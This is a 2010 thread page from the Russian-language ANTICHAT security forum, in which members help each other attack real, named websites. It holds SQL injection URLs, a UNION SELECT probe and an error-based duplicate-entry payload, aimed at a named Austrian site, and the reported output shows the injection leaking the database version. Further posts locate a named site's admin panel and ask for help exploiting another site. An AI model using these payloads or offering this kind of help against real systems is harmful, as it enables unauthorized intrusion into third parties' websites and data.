HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #15461  
Старый 01.11.2010, 18:29
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию

2-PRIVAT- and Malygos

h--ps://rdot.org/forum/showthread.php?t=685

2Tw!m4

net vyvoda. esli errory vyvodit - poprobui cherez nih
 
Ответить с цитированием

  #15462  
Старый 01.11.2010, 18:29
-PRIVAT-
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме:
344917

Репутация: 17
По умолчанию

Цитата:
Сообщение от Tw!m4  
Tw!m4 said:
есть уязвимый сайт:
Код:
Code:
www.site.com/index.php?login=&passwd='
кол-во столбцов подобрал, но почему то не выводит в какой колонке идет вывод на страницу.
подскажите чё нють плиз.
Крути как блинд. Мы не экстрасенсы, линк давай!
 
Ответить с цитированием

  #15463  
Старый 01.11.2010, 19:52
InfectedM
Познающий
Регистрация: 04.11.2007
Сообщений: 51
Провел на форуме:
310791

Репутация: 6
Отправить сообщение для InfectedM с помощью ICQ
По умолчанию

ПОдскажите плиз есть что-нибудь работающее в паблике для парсинга сайтов из гугла по определенному запросу?
 
Ответить с цитированием

  #15464  
Старый 01.11.2010, 23:54
Tw!m4
Познающий
Регистрация: 15.06.2007
Сообщений: 91
Провел на форуме:
261355

Репутация: 38
По умолчанию

2 -PRIVAT-

Код:
Code:
http://rwo[dot]solutions[dot]co[dot]at/login.php?luser=%27union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null--%20&passwd=testik%27
вот собственно сайтец

как и говорил, с неверным кол-вом столбцов выдаёт ошибку, при правельном подборе страница показывает как ни в чём не бывало.....
 
Ответить с цитированием

  #15465  
Старый 02.11.2010, 00:53
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Tw!m4  
Tw!m4 said:
2 -PRIVAT-
Код:
Code:
http://rwo[dot]solutions[dot]co[dot]at/login.php?luser=%27union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null--%20&passwd=testik%27
вот собственно сайтец
как и говорил, с неверным кол-вом столбцов выдаёт ошибку, при правельном подборе страница показывает как ни в чём не бывало.....
http://rwo.solutions.co.at/ab/ab.php?id=954+or+(1,1)=(select+count(0),concat((se lect+version()+from+information_schema.tables+limi t+0,1),floor(rand(0)*2))from(information_schema.ta bles)+group+by+2)--+%20&opt=edit
 
Ответить с цитированием

  #15466  
Старый 02.11.2010, 01:12
Tw!m4
Познающий
Регистрация: 15.06.2007
Сообщений: 91
Провел на форуме:
261355

Репутация: 38
По умолчанию

Цитата:
Сообщение от Konqi  
Konqi said:
http://rwo.solutions.co.at/ab/ab.php?id=954+or+(1,1)=(select+count(0),concat((se lect+version()+from+information_schema.tables+limi t+0,1),floor(rand(0)*2))from(information_schema.ta bles)+group+by+2)--+%20&opt=edit
А чё тут должно выйти? Чё т я как то не совсем врубаюсь...у меня выдает 404 еррор

object not found

PS: все пробелы убрал...
 
Ответить с цитированием

  #15467  
Старый 02.11.2010, 01:17
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Tw!m4  
Tw!m4 said:
А чё тут должно выйти? Чё т я как то не совсем врубаюсь...у меня выдает 404 еррор
object not found
PS: все пробелы убрал...
работало 2 минут назад, через дупликат

по всей видимости скрипт убрали...

UPD: работает

Duplicate entry '5.0.45-community-nt1' for key 1
 
Ответить с цитированием

  #15468  
Старый 02.11.2010, 12:39
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199

Репутация: 127
Отправить сообщение для Bramin с помощью ICQ
По умолчанию

http://www.salsacrazy.com помогите админку найти
 
Ответить с цитированием

  #15469  
Старый 02.11.2010, 13:00
Unknown
Guest
Сообщений: n/a
Провел на форуме:
129743

Репутация: 92
По умолчанию

Цитата:
Сообщение от Bramin  
Bramin said:
http://www.salsacrazy.com помогите админку найти
http://www.salsacrazy.com/cpanel
 
Ответить с цитированием

  #15470  
Старый 02.11.2010, 13:52
boxazbox
Guest
Сообщений: n/a
Провел на форуме:
2142

Репутация: 6
По умолчанию

Цитата:
Сообщение от None  
http://www.cps.am/en/strategy-and-politics/9%27/
pomoqite pojalusta dalse raskrutit sql inj..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT.XYZ